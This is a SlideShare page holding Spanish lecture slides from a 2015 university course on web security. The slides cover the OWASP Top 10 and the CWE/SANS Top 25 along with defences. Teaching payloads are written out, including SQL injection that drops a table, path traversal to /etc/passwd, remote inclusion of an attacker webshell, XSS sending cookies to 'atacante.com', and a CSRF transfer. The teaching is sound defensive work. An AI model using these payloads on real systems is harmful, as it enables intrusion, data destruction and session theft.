Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Cursos e-ghost 2015: Vulnerabilidades de Seguridad en Aplicaciones Web

347 views

Published on

Transparencias utilizadas en la charla "Vulnerabilidades de Seguridad en Aplicaciones Web", impartida en la Universidad de Deusto el 17 de julio de 2015, dentro del programa de cursos de verano organizado por el grupo e-ghost.

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Cursos e-ghost 2015: Vulnerabilidades de Seguridad en Aplicaciones Web

  1. 1. VULNERABILIDADES DE SEGURIDAD EN APLICACIONES WEB Universidad de Deusto Julio 2015 Ander Izquierdo
  2. 2. CONTENIDO 1. El problema 2. Casos reales de mala seguridad 3. Estadísticas, cifras, y datos para asustar 4. Proyecto OWASP Top 10 5. CWE/SANS Top 25 errores más peligrosos 6. Otras referencias sobre seguridad 7. Preguntas
  3. 3. 1. EL PROBLEMA
  4. 4. EL PROBLEMA: Tecnologías Heredadas • La web emplea tecnologías heredadas que hoy en día se usan para fines diferentes a los que fueron concebidas. • Ejemplo: HTTP, un protocolo sin estado. – Necesario utilizar mecanismos externos para mantener el estado. – No hay negociación de conexión ni mantenimiento de sesión. • El atacante sólo necesita enviar una petición de página con las cabeceras apropiadas.
  5. 5. EL PROBLEMA: Responsabilidades Como consecuencia: 1. La aplicación debe protegerse frente a intentos de entrada de usuarios malintencionados. 2. La aplicación deben proteger a los usuarios legítimos de los usuarios malintencionados.
  6. 6. EL PROBLEMA: Responsabilidades El peso de la seguridad recae en el programador. (Aunque en la práctica haya soluciones que nos ayuden).
  7. 7. EL PROBLEMA: Exceso de confianza ¿Confiar en el usuario? ¡Jamás! • La validación JavaScript no sirve como mecanismo de seguridad. • Es necesario hacer validación en el servidor. – Y hay que validarlo TODO.
  8. 8. EL PROBLEMA: Exceso de confianza • Es muy habitual que los programadores confíen en: – Valores transmitidos en cookies. – Cabeceras HTTP. – Campos en formularios: • Desplegables • Radio buttons • Hidden fields
  9. 9. EL PROBLEMA: Exceso de confianza Un atacante puede: • Manipular cualquier fragmento de información transmitido: – Parámetros – Cookies – Cabeceras • Evitar fácilmente cualquier mecanismo de control implementado en lado cliente. • Enviar peticiones en cualquier orden, enviar parámetros en diferente formato a lo esperado, o no enviarlos. – Cualquier suposición de uso que haga el desarrollador puede ser violada.
  10. 10. EL PROBLEMA: Exceso de confianza Una entrada inesperada produce un resultado impredecible.
  11. 11. 2. CASOS REALES DE MALA SEGURIDAD (y sus consecuencias)
  12. 12. CASOS REALES DE MALA SEGURIDAD En 2011, Sony Network Entertainment sufrió una filtración de datos. Se comprometieron: • Usuarios y contraseñas. • Direcciones postales • Direcciones de email válidas. • No supieron determinar si se habían filtrado datos de tarjetas de crédito.
  13. 13. CASOS REALES DE MALA SEGURIDAD Facebook: • En 2008: se descubrió que era posible acceder a fotografías privadas de millones de usuarios. – El ID de las fotografías era predecible. – En 2011 se descubrió un error similar. • En 2010: se descubrió un procedimiento para obtener datos confidenciales de un usuario a partir de su email. – Fue utilizado por spammers y scammers para enviar correo basura y realizar estafas.
  14. 14. CASOS REALES DE MALA SEGURIDAD Tuenti: • En mayo de 2009: se descubre vulnerabilidad XSS en los tablones públicos que permite, entre otras, robar la sesión del usuario. • En agosto de 2009: se descubre vulnerabilidad de inyección SQL en la versión móvil de la web, permitiendo obtener datos confidenciales de los usuarios (nombres reales, teléfonos, emails, contraseñas en MD5, etc).
  15. 15. CASOS REALES DE MALA SEGURIDAD Twitter: • Numerosos problemas de XSS a lo largo de su historia, todos fácilmente explotables. • En mayo de 2012 se publicó en PasteBin una relación de 55.000 usuarios y contraseñas.
  16. 16. CASOS REALES DE MALA SEGURIDAD LinkedIn: • En junio de 2012: se publicaron más de 6 millones de contraseñas cifradas. – Muchas fueron descifradas al momento gracias a las tablas Rainbow.
  17. 17. CASOS REALES DE MALA SEGURIDAD Google tampoco se queda exento: • En 2007: se descubre vulnerabilidad CSRF en Gmail que permite acceder a los mensajes de la víctima. • En 2009: se publica un procedimiento llamado Surf Jacking para el robo de la cookie de sesión a pesar del SSL. – Tardaron 3 meses en arreglarlo desde que fueron avisados. – Muchas webs de bancos españoles también eran vulnerables. • Mucho tiempo después, seguían siéndolo.
  18. 18. CASOS REALES DE MALA SEGURIDAD https://haveibeenpwned.com/
  19. 19. 4. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR
  20. 20. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Aceptabilidad certificación Verafied en primera entrega. (Veracode. State of Software Security Report Volume 3. 2011.)
  21. 21. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Tiempo para alcanzar la aceptabilidad Verafied. (Veracode. State of Software Security Report Volume 3. 2011.)
  22. 22. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Presencia de alguna vulnerabilidad Top 10 OWASP en primera entrega. (Veracode. State of Software Security Report Volume 6. 2015.)
  23. 23. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Probabilidad de encontrar una vulnerabilidad (Veracode. State of Software Security Report Volume 3. 2011.)
  24. 24. 4. PROYECTO OWASP TOP 10
  25. 25. PROYECTO OWASP TOP 10 OWASP = Open Web Application Security Project Proyecto de código abierto para determinar y combatir las causas que hacen que el software sea inseguro. Enfoque de seguridad en todas sus dimensiones: • Personas • Procesos • Tecnologías
  26. 26. PROYECTO OWASP TOP 10 OWASP Top 10: • Establece una lista de debilidades ordenada por riesgo, y no por número de apariciones. • Es mundialmente referenciada en libros, publicaciones, y organizaciones dedicadas a la seguridad (MITRE, Veracode, etc). • Publicada en 2003, 2004, 2007, 2010 y 2013.
  27. 27. PROYECTO OWASP TOP 10 ¿Qué es un riesgo? Un riesgo es cada una de las rutas que puede recorrer un atacante para hacerte daño.
  28. 28. PROYECTO OWASP TOP 10 Para valorar un riesgo debemos preguntarnos: • ¿Es frecuente que ocurra? • ¿Es fácil descubrirlo? • ¿Es fácil explotarlo? • ¿Cuál será el impacto técnico? • ¿Cuál será el impacto en el negocio?
  29. 29. PROYECTO OWASP TOP 10 Tener una vulnerabilidad != Ser vulnerable
  30. 30. PROYECTO OWASP TOP 10 • A1 – Inyección • A2 – Pérdida de autenticación y gestión de sesiones • A3 – Secuencia de Comandos en Sitios Cruzados (XSS) • A4 – Referencia Directa Insegura a Objetos • A5 – Configuración de Seguridad Incorrecta • A6 – Exposición de datos sensibles • A7 – Ausencia de Control de Acceso a Funciones • A8 – Falsificación de Peticiones en Sitios Cruzados (CSRF) • A9 – Utilización de componentes con vulnerabilidades conocidas • A10 – Redirecciones y reenvíos no validados
  31. 31. PROYECTO OWASP TOP 10 A1 – Inyección
  32. 32. PROYECTO OWASP TOP 10: A1 - Inyección EL PROBLEMA Construir comandos o consultas enviando al intérprete datos no confiables sin filtrar. En general, componer el String del comando o consulta concatenando variables procedentes del usuario sin control alguno.
  33. 33. PROYECTO OWASP TOP 10: A1 - Inyección EJEMPLO 1 $query = "SELECT id FROM usuarios WHERE email='$email' AND password='$password'"; Supongamos que introducimos el siguiente valor en la caja "Correo": cualquiercosa' OR 1=1 LIMIT 1;-- Lo que enviamos al intérprete sería: SELECT id FROM usuarios WHERE email='cualquiercosa' OR 1=1 LIMIT 1; --' AND password=''
  34. 34. PROYECTO OWASP TOP 10: A1 - Inyección EJEMPLO 2 Si enviamos: ' OR id='1';-- Obtenemos: SELECT id FROM usuarios WHERE email='' OR id='1'; --' AND password=''
  35. 35. PROYECTO OWASP TOP 10: A1 - Inyección EJEMPLO 3 Si enviamos: ' OR 1=1; DROP TABLE usuarios;-- Obtenemos: SELECT id FROM usuarios WHERE email='' OR 1=1; DROP TABLE usuarios; --' AND password=''
  36. 36. PROYECTO OWASP TOP 10: A1 - Inyección RIESGOS • Acceder a datos confidenciales • Manipular información • Suplantar identidad • Vía de acceso a otro tipo de ataques (ej: XSS)
  37. 37. PROYECTO OWASP TOP 10: A1 - Inyección LA SOLUCIÓN Solución principal: Usar una API parametrizada Ejemplo: uso de PreparedStatement en Java String query = "SELECT * FROM User WHERE userId = ? "; PreparedStatement prepStmt = con.prepareStatement(query); prepStmt.setString(1, userId); ResultSet rs = prepStmt.executeQuery();
  38. 38. PROYECTO OWASP TOP 10: A1 - Inyección LA SOLUCIÓN Solución alternativa: Filtrar caracteres especiales Ejemplo: funciones de escape en PHP $ciudad = $mysqli->real_escape_string($ciudad);
  39. 39. PROYECTO OWASP TOP 10: A1 - Inyección ¡HAY QUE TRATAR TODOS LOS PARÁMETROS! Incluidos los campos de tipo: • Desplegables • Radio buttons • Ocultos • Widgets de calendario • En peticiones GET y POST
  40. 40. PROYECTO OWASP TOP 10 A2 – Pérdida de autenticación y gestión de sesiones
  41. 41. PROYECTO OWASP TOP 10: A2 – Autenticación EL PROBLEMA Errores de implementación que permiten: • Obtener hashes de contraseñas • Obtener contraseñas en claro • Manipular el token de la sesión El objetivo: asumir la identidad de otros usuarios. – Habitualmente la del administrador.
  42. 42. PROYECTO OWASP TOP 10: A2 – Autenticación EL PROBLEMA Errores habituales: • No cifrar en BBDD las contraseñas. • Se pueden adivinar o sobreescribir las contraseñas a través de funciones débiles de gestión de la sesión. • Los IDs de sesión son expuestos en la URL. • Los IDs de sesión son predecibles. • Los IDs de sesión no cambian al hacer login (ataques de fijación de la sesión). • Los IDs de sesión no expiran al hacer logout.
  43. 43. PROYECTO OWASP TOP 10: A2 – Autenticación EJEMPLO 1 IDs de sesión expuestos en la URL http://www.tiendaguay.com/producto1?sessionid=4U1OU3OUA9FFMJMF
  44. 44. PROYECTO OWASP TOP 10: A2 – Autenticación EJEMPLO 2 Ataque de fijación de la sesión El problema: • La aplicación crea una sesión anónima cuando el usuario accede por primera vez. • Cuando el usuario se identifica, se actualiza a una sesión autenticada sin cambiar el token. El Ataque: • El atacante obtiene primero un token anónimo con una visita normal. • El atacante usa algún engaño para fijar ese token en el navegador de la víctima. (ej: sesión en URL, administradores de cookies…). • Una vez que la víctima ha hecho login, el atacante también estará dentro. En enero de 2015 se descubrió una vulnerabilidad de este tipo en Joomla 2.5
  45. 45. PROYECTO OWASP TOP 10: A2 – Autenticación EJEMPLO 3 IDs de sesión no expiran al hacer logout Permitirían un ataque de fijación de sesión persistente. • El usuario hace logout. – El atacante pierde acceso. • El usuario vuelve a hacer login. – El atacante recupera el acceso sin hacer nada.
  46. 46. PROYECTO OWASP TOP 10: A2 – Autenticación LA SOLUCIÓN Revisar y cumplir con los requisitos definidos en el Application Security Verification Standard (ASVS) de OWASP, secciones V2 y V3.
  47. 47. PROYECTO OWASP TOP 10: A2 – Autenticación LA SOLUCIÓN Algunos puntos son: • Comprobar que la sesión caduca al de cierto tiempo. • Comprobar que la sesión caduca al hacer logout. • Comprobar que las páginas que requieren autenticación no son accesibles de forma anónima. • Comprobar que la sesión cambia al autenticar. • Aceptar sólo tokens de sesión generados por la aplicación. • Comprobar que los flags de las cookies de sesión sean correctos (httponly y desactivar método TRACE). • Comprobar que la aplicación no permite acceso concurrente con un mismo usuario desde dos orígenes distintos.
  48. 48. PROYECTO OWASP TOP 10 A3 – Secuencia de Comandos en Sitios Cruzados (XSS)
  49. 49. PROYECTO OWASP TOP 10: A3 – XSS EL PROBLEMA Mostrar en las páginas de salida datos introducidos por el usuario sin filtrar. Sin una correcta validación, la entrada será tratada como contenido activo por el navegador. Permite al atacante enviar contenido JavaScript, ActiveX, Flash o Silverlight al navegador de la víctima.
  50. 50. PROYECTO OWASP TOP 10: A3 – XSS EL PROBLEMA Hay dos tipos: • Reflejado – Suele ser un ataque dirigido. • Persistente – Afecta potencialmente a todos los usuarios.
  51. 51. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 1 XSS Reflejado Ocurre cuando el atacante envía una URL a la víctima con parámetros GET manipulados. El código malicioso se incluye como valor del parámetro manipulado.
  52. 52. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 1 XSS Reflejado Comportamiento normal:
  53. 53. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 1 XSS Reflejado Ataque:
  54. 54. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 2 XSS Persistente Ataque:
  55. 55. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 3 Robo de sesión El atacante realiza un ataque dirigido enviando a la víctima la siguiente URL: http://www.google.com/?q=gatitos<script>docu ment.location='http://atacante.com/robar?ses ion='+document.cookie</script>
  56. 56. PROYECTO OWASP TOP 10: A3 - XSS RIESGOS • Robo de sesiones y escalada de privilegios • Obtención de información confidencial • Denegación de servicio • Cambio de configuración del usuario • Acciones en nombre del usuario
  57. 57. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLOS REALES • Twitter: Retweet automático de un mensaje sólo con visualizarlo. • Youtube: Redireccionar a páginas con malware al visualizar un comentario. • Facebook: Robo de cookies de sesión.
  58. 58. PROYECTO OWASP TOP 10: A3 – XSS LA SOLUCIÓN Filtrar y codificar la información de entrada antes de usarla como salida en HTML. • En general, sustituir los caracteres con significado en HTML por entidades sin significado: > se convierte en &gt; < se convierte en &lt; & se convierte en &amp; etc…
  59. 59. PROYECTO OWASP TOP 10 A4 – Referencia directa insegura a objetos
  60. 60. PROYECTO OWASP TOP 10: A4 – Referencias EL PROBLEMA Acceder a información en BBDD, objetos o archivos sin comprobar que el usuario tenga permisos sobre ellos.
  61. 61. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 1 Insuficiente control de acceso a referencias http://victima.com/verfactura?fact=918433 El atacante prueba códigos aleatorios de facturas para tratar de acceder a documentos de otras personas.
  62. 62. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 2 Path Traversal http://victima.com/verfactura?fact=918433.pdf El atacante intenta llegar a recursos del sistema a través del parámetro: http://victima.com/verfactura?fact=../../../etc/passwd
  63. 63. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 3 Remote File Inclusion http://victima.com/index.php?p=facturas.php El código fuente de index.php contiene: include( $_GET['p'] ); El atacante puede abrir una webshell en el servidor de la víctima solicitando: http://victima.com/index.php?p=http://atacante/webshell.txt
  64. 64. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 3 Remote File Inclusion En PHP, las inclusiones tienen muuuuuucho peligro: • include() • require() • include_once() • require_once()
  65. 65. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 4 Remote File Inclusion (con extensión implícita) http://victima.com/index.php?p=facturas El código fuente de index.php contiene: include( $_GET['p'] . '.php' ); En PHP, el byte NULL 0 corta el procesamiento del string, ignorando el resto: http://victima.com/index.php?p=http://atacante/webshell.txt%00
  66. 66. PROYECTO OWASP TOP 10: A4 – Referencias LA SOLUCIÓN • Utilizar referencias indirectas: – Ej: http://ejemplo.com/verfactura?fact=enero05 • Comprobar el acceso a todas las referencias directas. Se debe asegurar que el usuario está autorizado para acceder al objeto solicitado. • ¡Mucho cuidado con las inclusiones!
  67. 67. PROYECTO OWASP TOP 10 A5 – Configuración de seguridad incorrecta
  68. 68. PROYECTO OWASP TOP 10: A5 – Configuración EL PROBLEMA • Software sin actualizar. • Hay características innecesarias instaladas. • Las cuentas de usuario y/o contraseñas por defecto están sin cambiar. • Los mensajes de error están en modo debug.
  69. 69. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 1 Software sin actualizar La versión de PHP instalada en el sistema es vulnerable a un ataque de buffer overflow que permite la ejecución arbitraria de código. (ejecución arbitraria de código = date por jodido)
  70. 70. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 2 Contraseñas por defecto (caso real) Cientos de gasolineras en España permiten acceder con contraseña por defecto al panel de control de seguridad de las mismas. El fallo permite, entre otras cosas, manipular el sistema de alarmas de los tanques de combustible.
  71. 71. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  72. 72. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  73. 73. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  74. 74. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  75. 75. PROYECTO OWASP TOP 10: A5 – Configuración LA SOLUCIÓN • Asegurar y configurar correctamente el entorno. • Eliminar el software no utilizado. • Tener un plan de actualizaciones de software. – Y llevarlo a cabo.
  76. 76. PROYECTO OWASP TOP 10 A6 – Exposición de datos sensibles
  77. 77. PROYECTO OWASP TOP 10: A6 – Datos Sensibles EL PROBLEMA • No cifrar en BBDD la información sensible. • No utilizar SSL. • Utilizar algún algoritmo criptográfico débil. • Incorrecta rotación o mala gestión de claves criptográficas. • Ficheros subidos al servidor que no deberían estar ahí.
  78. 78. PROYECTO OWASP TOP 10: A6 – Datos Sensibles EJEMPLO 1 Datos sensibles sin cifrar Escenario: La aplicación almacena en BBDD las contraseñas de los usuarios sin cifrar. Un atacante consigue robar la tabla de usuarios mediante una vulnerabilidad de inyección SQL, y se lleva las contraseñas en claro.
  79. 79. PROYECTO OWASP TOP 10: A6 – Datos Sensibles EJEMPLO 2 Datos sensibles sin cifrar (otra vez) Escenario: La aplicación almacena en BBDD las contraseñas de los usuarios con un hash sin salt. Un atacante consigue robar la tabla de usuarios mediante una vulnerabilidad de inyección SQL. Mediante tablas Rainbow consigue descifrar un gran porcentaje de contraseñas en minutos.
  80. 80. EJEMPLO 3 Ficheros que no deberían estar ahí • .DS_Store • thumbs.db • desktop.ini • .svn • .bashrc (y demás ocultos de la $HOME) • *.java • Etc… PROYECTO OWASP TOP 10: A6 – Datos Sensibles
  81. 81. PROYECTO OWASP TOP 10: A6 – Datos sensibles LA SOLUCIÓN • Cifra todos los datos sensibles que sean almacenados o transmitidos. – Utiliza hash con salt. • No almacenes información de más. • Utiliza algoritmos de cifrado fuerte. – MD5 está desaconsejado desde 2004 por problemas de colisiones. • Deshabilita "autocompletar" en formularios que contengan datos sensibles. • Deshabilita el cacheado de páginas que contengan datos sensibles.
  82. 82. PROYECTO OWASP TOP 10 A7 – Ausencia de control de acceso a funciones
  83. 83. PROYECTO OWASP TOP 10: A7 – Acceso EL PROBLEMA • La aplicación no controla adecuadamente el acceso a las páginas privadas. – ¿La interfaz de usuario muestra links hacia funcionalidades no autorizadas? – ¿Se comprueba la autorización en todas las páginas y acciones de formularios?
  84. 84. PROYECTO OWASP TOP 10: A7 – Acceso EJEMPLO 1 El atacante envía una petición POST a un formulario privado para intentar una escalada de privilegios: http://ejemplo.com/admin/createuser.php
  85. 85. PROYECTO OWASP TOP 10: A7 – Acceso LA SOLUCIÓN • Diseñar cuidadosamente el sistema de control de accesos. – Debería ser fácilmente auditable y parametrizable. • Realizar pruebas intensivas para garantizar la calidad de la implementación. – Hay que probar con usuarios no autenticados, y con usuarios con permisos limitados.
  86. 86. PROYECTO OWASP TOP 10 A8 – Falsificación de Peticiones en Sitios Cruzados (CSRF)
  87. 87. PROYECTO OWASP TOP 10: A8 – CSRF EL PROBLEMA Formularios que permiten a un atacante falsificar peticiones en nombre de la víctima.
  88. 88. PROYECTO OWASP TOP 10: A8 – CSRF EL PROBLEMA Cuando la víctima visita un sitio malicioso controlado por el atacante, éste último puede: • Publicar mensajes en nombre de la víctima. • Transferir dinero. • Enviar emails. • Y en general, actuar sobre cualquier formulario de los sitios web donde la víctima mantenga sesión abierta.
  89. 89. PROYECTO OWASP TOP 10: A8 – CSRF EJEMPLO 1 La víctima deja abierta la sesión con su banco online, y visita la web del atacante. La web maliciosa contiene una imagen con la siguiente definición: <img src="https://mibanco.com/areaclientes/transferir? cantidad=5000&cuentadestino=atacante" width="0" height="0" />
  90. 90. PROYECTO OWASP TOP 10: A8 – CSRF EJEMPLO 1 Si la víctima está autenticada en su banco online, las peticiones falsificadas incluirán automáticamente la información de la sesión, autorizando la operación.
  91. 91. PROYECTO OWASP TOP 10: A8 – CSRF EJEMPLO 2 Espionaje en cuentas de Gmail (2007) 1. El usuario inicia sesión en Gmail. 2. El usuario visita una página que contiene código malicioso. 3. El usuario envía (sin saberlo) una petición a Gmail, creando un filtro de correo para redirigir todo el correo entrante al atacante.
  92. 92. PROYECTO OWASP TOP 10: A8 – CSRF LA SOLUCIÓN 1. Cuando el usuario solicita el formulario, generar un token único no predecible, y enviarlo en un campo oculto. 2. Cuando el usuario hace submit del formulario, comprobar que el token devuelto es el esperado. – Rechazar la petición si no coincide, pertenece a otro usuario, es vacío, o no está presente.
  93. 93. PROYECTO OWASP TOP 10: A8 – CSRF OTRAS SOLUCIONES 1. Utilizar CAPTCHAs. 2. Solicitar re-autenticación para ciertas operaciones.
  94. 94. PROYECTO OWASP TOP 10 A9 – Uso de Componentes con Vulnerabilidades Conocidas
  95. 95. PROYECTO OWASP TOP 10: A9 – Componentes EL PROBLEMA Utilizar plugins, librerías, frameworks, o cualquier pieza de software con vulnerabilidades conocidas.
  96. 96. PROYECTO OWASP TOP 10: A9 – Componentes EJEMPLO Utilizar un plugin de Wordpress que permite realizar un ataque XSS y compromete todo el sitio web.
  97. 97. PROYECTO OWASP TOP 10: A9 – Componentes LA SOLUCIÓN • Revisar la base de datos CVE de MITRE. – Hay que hacer un inventario de todo el software, plugins, frameworks, especificando las versiones de cada uno de ellos, y comprobar si poseen vulnerabilidades conocidas. • Tener un plan de actualizaciones de software. – Y llevarlo a cabo.
  98. 98. PROYECTO OWASP TOP 10 A10 – Redirecciones y Reenvíos No Válidos
  99. 99. PROYECTO OWASP TOP 10: A10 – Redirecciones EL PROBLEMA Realizar redirecciones a otras partes de nuestra web, aceptando el destino de la redirección desde parámetro y sin filtrar.
  100. 100. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 1 Escenario: Cuando un visitante intenta acceder a una parte privada de nuestra web, se le envía al formulario de login, especificando como parámetro la página privada que quería ver. El objetivo es enviarle a la página privada una vez haya iniciado la sesión.
  101. 101. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 1 Comportamiento esperado: El usuario pide: http://ejemplo.com/foros/privado.php El sistema redirige a: http://ejemplo.com/foros/login.php?redirect=privado.php Cuando el usuario se identifica, el sistema le redirige automáticamente a la página que quería visitar.
  102. 102. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 1 Ataque: El atacante compone y envía a la víctima la siguiente URL: http://ejemplo.com/foros/login?redirect=http:// sitiosuperhacker.com
  103. 103. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 2 Escenario: Si el parámetro sólo llevara el nombre del archivo y nuestro código concatenara la extensión ".php", mitigaría el ataque… ¿Seguro?
  104. 104. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 2 Comportamiento esperado: El usuario pide: http://ejemplo.com/foros/privado.php El sistema redirige a: http://ejemplo.com/foros/login.php?redirect=privado El destino final se calcula así: $destino = $_GET['redirect'] . '.php';
  105. 105. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 2 Ataque: En PHP, el byte NULL 0 corta el procesamiento del string, ignorando el resto. El atacante compone y envía a la víctima la siguiente URL: http://ejemplo.com/foros/login?redirect=http://sitio superhacker.com%00
  106. 106. PROYECTO OWASP TOP 10: A10 – Redirecciones LA SOLUCIÓN 1. Evitar redirecciones siempre que se pueda. 2. No utilizar parámetros manipulables por el usuario. 3. Si no queda más remedio: 1. Comprobar que el valor de destino sea válido y autorizado. 2. Utilizar valores de mapeo, en lugar de la dirección real de destino (o una porción de ésta). 3. Utilizar listas blancas.
  107. 107. 5. CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS
  108. 108. CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS 1. Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') 2. Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') 3. Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') 4. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') 5. Missing Authentication for Critical Function 6. Missing Authorization 7. Use of Hard-coded Credentials 8. Missing Encryption of Sensitive Data 9. Unrestricted Upload of File with Dangerous Type 10. Reliance on Untrusted Inputs in a Security Decision 11. Execution with Unnecessary Privileges 12. Cross-Site Request Forgery (CSRF)
  109. 109. CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS 13. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') 14. Download of Code Without Integrity Check 15. Incorrect Authorization 16. Inclusion of Functionality from Untrusted Control Sphere 17. Incorrect Permission Assignment for Critical Resource 18. Use of Potentially Dangerous Function 19. Use of a Broken or Risky Cryptographic Algorithm 20. Incorrect Calculation of Buffer Size 21. Improper Restriction of Excessive Authentication Attempts 22. URL Redirection to Untrusted Site ('Open Redirect') 23. Uncontrolled Format String 24. Integer Overflow or Wraparound 25. Use of a One-Way Hash without a Salt
  110. 110. 6. OTRAS REFERENCIAS DE SEGURIDAD
  111. 111. OTRAS REFERENCIAS DE SEGURIDAD • Recursos OWASP: – OWASP Application Security Verification Standard – OWASP Backend Security Project – OWASP PHP Security Project – OWASP Secure Coding Practices • Base de datos de debilidades CWE de MITRE. • Base de datos de vulnerabilidades CVE de MITRE. • Base de datos de vulnerabilidades de SecurityFocus. • Informes INCIBE (antes INTECO), dependiente del Ministerio de Industria, Energía y Turismo. • Informes de Veracode.
  112. 112. ¿PREGUNTAS? ¡GRACIAS POR VUESTRA ATENCIÓN! Ander Izquierdo axelko@gmail.com
  113. 113. Competición de Seguridad Informática organizada por INCIBE para la captación de nuevos talentos. Hay varias temáticas: • Ingeniería Inversa • Exploiting • Análisis Forense • Vulnerabilidades Web • Criptografía ¡Y empieza hoy! Del 17 hasta el 26 de julio.

×